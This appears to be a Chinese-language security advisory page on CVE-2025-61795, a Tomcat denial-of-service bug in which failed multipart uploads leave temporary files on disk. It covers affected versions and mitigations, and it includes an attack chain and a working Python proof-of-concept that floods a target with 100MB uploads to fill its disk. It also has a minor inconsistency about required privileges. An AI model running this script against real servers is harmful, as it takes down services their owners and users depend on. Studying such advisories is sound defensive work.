IPBUF安全漏洞报告
English
CVE-2025-61795 CVSS 5.3 中危

CVE-2025-61795 Apache Tomcat multipart上传临时文件未及时清理导致DoS

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-61795
漏洞类型
资源管理不当
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Tomcat

相关标签

资源管理不当拒绝服务Apache Tomcat临时文件泄露DoSCVE-2025-61795multipart上传JavaWeb服务器

漏洞概述

CVE-2025-61795是Apache Tomcat中的一个资源管理漏洞,CVSS评分5.3(中危)。该漏洞源于Apache Tomcat在处理multipart文件上传时,当上传过程中发生错误(包括超过大小限制等),写入磁盘的临时文件片段不会被立即清理,而是依赖Java虚拟机的垃圾回收(GC)进程来删除。在高负载场景下,如果JVM的垃圾回收速度跟不上临时文件产生的速度,可能导致磁盘空间被填满,最终引发拒绝服务(DoS)攻击。攻击者可以通过持续发送包含大文件或触发错误的multipart上传请求来耗尽服务器磁盘资源。此漏洞影响Apache Tomcat 11.0.0-M1至11.0.11、10.1.0-M1至10.1.46、9.0.0.M1至9.0.109以及8.5.0至8.5.100版本。建议用户升级到11.0.12、10.1.47或9.0.110及以上版本以修复此问题。

技术细节

Apache Tomcat在处理HTTP multipart/form-data上传时,会将上传的文件部分临时写入磁盘以支持大文件处理。正常情况下,临时文件应该在请求处理完成后被删除。然而,当上传过程中发生错误(例如文件大小超过配置限制、网络中断、解析错误等),临时文件的清理逻辑存在缺陷:系统没有立即删除这些临时文件,而是等待JVM的垃圾回收机制来处理。在以下条件下可能导致问题:1)JVM堆内存设置较大,GC触发频率低;2)应用程序内存使用率高,GC压力增大;3)高并发上传请求场景。攻击者可以构造大量触发错误的multipart上传请求(如上传超大文件或格式错误的请求),导致临时文件在磁盘上堆积,最终耗尽磁盘空间并造成服务不可用。该漏洞属于CWE-775(资源未在需要时释放)类别,攻击复杂度低,无需特殊权限或用户交互即可实施。

攻击链分析

STEP 1
步骤1
攻击者识别运行Apache Tomcat的目标服务器,该服务器启用了文件上传功能(multipart/form-data处理)
STEP 2
步骤2
攻击者构造包含超大文件或格式错误的HTTP multipart/form-data请求,上传大小超过服务器配置的限制
STEP 3
步骤3
Tomcat处理请求时将上传的临时数据写入磁盘临时目录(如/tmp或catalina.base/temp),随后因超出限制而触发错误
STEP 4
步骤4
由于CVE-2025-61795漏洞,这些临时文件在错误发生后不会被立即删除,而是等待JVM垃圾回收
STEP 5
步骤5
攻击者持续发送大量此类恶意请求,导致临时文件在磁盘上快速堆积
STEP 6
步骤6
当磁盘空间被耗尽或达到阈值时,服务器无法继续处理正常请求,最终导致拒绝服务(DoS)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys import time # CVE-2025-61795 PoC - Apache Tomcat Multipart DoS # This PoC demonstrates the resource exhaustion via multipart upload errors def exploit_tomcat_dos(target_url, max_requests=100): """ Exploit CVE-2025-61795 by sending oversized multipart uploads that trigger errors and leave temporary files uncleaned. Args: target_url: Target Tomcat endpoint (e.g., http://target.com/upload) max_requests: Number of malicious requests to send """ # Create a large file content that exceeds typical upload limits # This will trigger an error in Tomcat's multipart handler large_content = b'X' * (100 * 1024 * 1024) # 100MB print(f"[*] Starting CVE-2025-61795 DoS attack against {target_url}") print(f"[*] Sending {max_requests} oversized multipart requests...") success_count = 0 for i in range(max_requests): try: files = { 'file': ('malicious_file.dat', large_content, 'application/octet-stream') } data = {'filename': f'test_{i}.dat'} response = requests.post( target_url, files=files, data=data, timeout=30, allow_redirects=False ) # Even if we get an error response, temp files may not be cleaned success_count += 1 if i % 10 == 0: print(f"[*] Progress: {i}/{max_requests} requests sent") except requests.exceptions.RequestException as e: print(f"[!] Request {i} failed: {e}") print(f"[*] Attack completed. {success_count} requests sent.") print(f"[*] Temporary files may accumulate on the server disk.") return success_count def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-61795 """ print(f"[*] Checking if {target_url} is vulnerable...") # Send a small test file first test_content = b'test data' files = {'file': ('test.txt', test_content, 'text/plain')} try: response = requests.post(target_url, files=files, timeout=10) print(f"[*] Server responded with status: {response.status_code}") print(f"[*] Target may be vulnerable if running affected Tomcat versions") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve_2025_61795_poc.py <target_url> [max_requests]") print("Example: python cve_2025_61795_poc.py http://target.com/upload 100") sys.exit(1) target = sys.argv[1] max_req = int(sys.argv[2]) if len(sys.argv) > 2 else 100 check_vulnerability(target) exploit_tomcat_dos(target, max_req)

影响范围

Apache Tomcat 11.0.0-M1 至 11.0.11
Apache Tomcat 10.1.0-M1 至 10.1.46
Apache Tomcat 9.0.0.M1 至 9.0.109
Apache Tomcat 8.5.0 至 8.5.100(已停止维护)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)在Tomcat配置中限制上传文件大小,设置合理的maxFileSize和maxRequestSize参数;2)监控/tmp或Tomcat临时目录的磁盘使用情况,设置告警阈值;3)配置cron任务定期清理临时文件;4)限制上传端点的访问频率,使用速率限制或Web应用防火墙(WAF);5)考虑使用内存存储替代磁盘临时文件(适用于小文件场景);6)启用Tomcat的访问日志并监控异常的上传请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表